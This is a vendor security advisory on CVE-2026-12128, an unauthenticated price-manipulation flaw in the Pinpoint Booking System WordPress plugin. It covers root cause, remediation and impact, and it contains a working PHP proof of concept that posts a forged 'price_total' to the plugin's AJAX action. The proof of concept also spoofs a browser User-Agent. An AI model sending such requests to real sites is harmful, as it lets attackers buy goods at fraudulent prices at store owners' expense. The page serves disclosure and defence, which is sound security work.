Published : August 14, 2026

CVE-2026-12128: Pinpoint Booking System <= 2.9.9.6.8 Unauthenticated Improper Input Validation to Price Manipulation via 'cart_data' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 20
Vulnerable Version 2.9.9.6.8
Patched Version
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12128 (metadata-based):

This vulnerability affects the Pinpoint Booking System plugin for WordPress, all versions up to and including 2.9.9.6.8, and allows unauthenticated price manipulation of WooCommerce checkout totals. The CVSS score is 5.3 (Medium), reflecting a low integrity impact with no confidentiality or availability impact. The root cause lies in the `dopbsp_woocommerce_add_to_cart` AJAX action, which is registered via `wp_ajax_nopriv_*` and executable without authentication or nonce verification. The vulnerable code reads `price_total` from the attacker-controlled `cart_data` POST parameter and inserts it into the database via `$wpdb->insert()` without server-side recalculation or validation against the calendar’s configured price. Later, the `woocommerce_before_calculate_totals` callback retrieves this stored value and passes it directly to `$product->set_price()`, overriding the legitimate product price.

Root Cause: The core issue is improper input validation (CWE-20) combined with a failure to enforce server-side business logic. The plugin trusts client-supplied pricing data (`cart_data[price_total]`) without verifying it matches the calendar’s defined price or applying any authorization checks. This is confirmed by the vulnerability description’s explicit mention of the `wp_ajax_nopriv_` registration, absence of nonce and capability checks, and direct database persistence of the attacker-supplied value. Atomic Edge analysis infers that the `update` handler does not recalculate the price from the database, and the `woocommerce_before_calculate_totals` hook blindly trusts the stored value. These conclusions are based on the description’s detailed technical breakdown; however, without access to the plugin source code, we cannot confirm the exact file and function names.

Exploitation: An unauthenticated attacker can craft an HTTP POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `dopbsp_woocommerce_add_to_cart`. The `cart_data` parameter must include an `id` (the booking product ID) and a `price_total` set to the desired amount (e.g., 0.01). Because the AJAX handler has no nonce or permission checks, the request succeeds without credentials. The plugin then stores the attacker-controlled price in the database, and when the cart recalculates totals, the product uses that stored price. The attacker can then complete the WooCommerce checkout at the manipulated price, potentially free or nearly free. Atomic Edge analysis notes that the exact parameter structure inside `cart_data` may vary slightly, but the core exploit pattern is sending the `price_total` field through the AJAX action.

Remediation: A proper fix requires the plugin to validate and recalculate price server-side from the calendar’s configured pricing whenever a booking is added to the cart. Specifically, the `dopbsp_woocommerce_add_to_cart` handler should verify a valid nonce, enforce the appropriate capability for unauthenticated users (or use a deterministic, server-side price), and reject any client-supplied `price_total` that does not match the calculated amount. The stored price should be derived from the booking parameters, not from user input. Until a patch is available, site administrators should disable or restrict the vulnerable AJAX action, possibly by adding a WAF rule to block requests containing a modified `price_total`. Atomic Edge analysis emphasizes that the plugin should never trust client-side price fields in any commerce transaction.

Impact: Successful exploitation allows any unauthenticated visitor to set the checkout price of any WooCommerce product tied to a Pinpoint Booking System calendar to an arbitrary value, including zero. This can lead to significant financial loss for store owners, as attackers can make purchases for free or at drastically reduced prices. The vulnerability does not directly expose data or escalate privileges, but the ability to manipulate order totals undermines the integrity of the e-commerce system. The impact is limited to integrity (price manipulation) and does not affect confidentiality or availability, aligning with the CVSS vector. Given the pre-auth nature and lack of complexity, this vulnerability is a high-priority target for automated attacks, though it carries a Medium severity score due to its narrow scope.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12128 - Pinpoint Booking System <= 2.9.9.6.8 - Unauthenticated Improper Input Validation to Price Manipulation via 'cart_data' Parameter

// This PoC demonstrates how an unauthenticated attacker can manipulate the WooCommerce cart price
// by sending a crafted AJAX request to the vulnerable Pinpoint Booking System plugin.
// The plugin registers the 'dopbsp_woocommerce_add_to_cart' action via wp_ajax_nopriv_,
// allowing unauthenticated access, and the handler trusts the 'price_total' parameter without validation.

// Config: set the target WordPress site URL (e.g., http://example.com)
$target_url = 'http://target-site.com';

// The booking product ID (found in WordPress admin or via WooCommerce product listing)
$product_id = 123;

// Desired manipulated price (e.g., 0.01 represents 1 cent)
$desired_price = '0.01';

// WordPress AJAX endpoint
$admin_ajax = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Build the cart_data array with the manipulated price.
// The exact structure may vary, but the essential fields are 'id' (product ID)
// and 'price_total' (the attacker-controlled total). Additional parameters,
// such as date or quantity, may be required by the plugin's handler.
$cart_data = [
    'id' => $product_id,
    'price_total' => $desired_price,
    // Some implementations may require a 'date_start' or 'date_end' for the booking.
    // 'date_start' => '2026-07-01',
    // 'date_end' => '2026-07-02',
];

// Prepare POST fields for the AJAX request
$post_fields = [
    'action' => 'dopbsp_woocommerce_add_to_cart',
    'cart_data' => $cart_data,
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_ajax);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Optionally, set a User-Agent to avoid default cURL bans
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');

// Execute and fetch response
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
if ($http_code == 200 && $response !== false) {
    echo "[+] Request sent successfully. HTTP $http_coden";
    echo "[+] If the plugin is vulnerable, the cart price has been set to $desired_price for product $product_id.n";
    echo "[+] Proceed to WooCommerce checkout to see the manipulated price.n";
} else {
    echo "[-] Request failed. HTTP code: " . $http_code . "n";
    echo "[-] Response: " . htmlspecialchars($response) . "n";
}

// Note: This PoC assumes standard WordPress AJAX endpoint and the vulnerable plugin's action name.
// The exact 'cart_data' structure may differ; adjust as needed based on observed request patterns,
// but the core attack is the presence of an unvalidated 'price_total' parameter.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.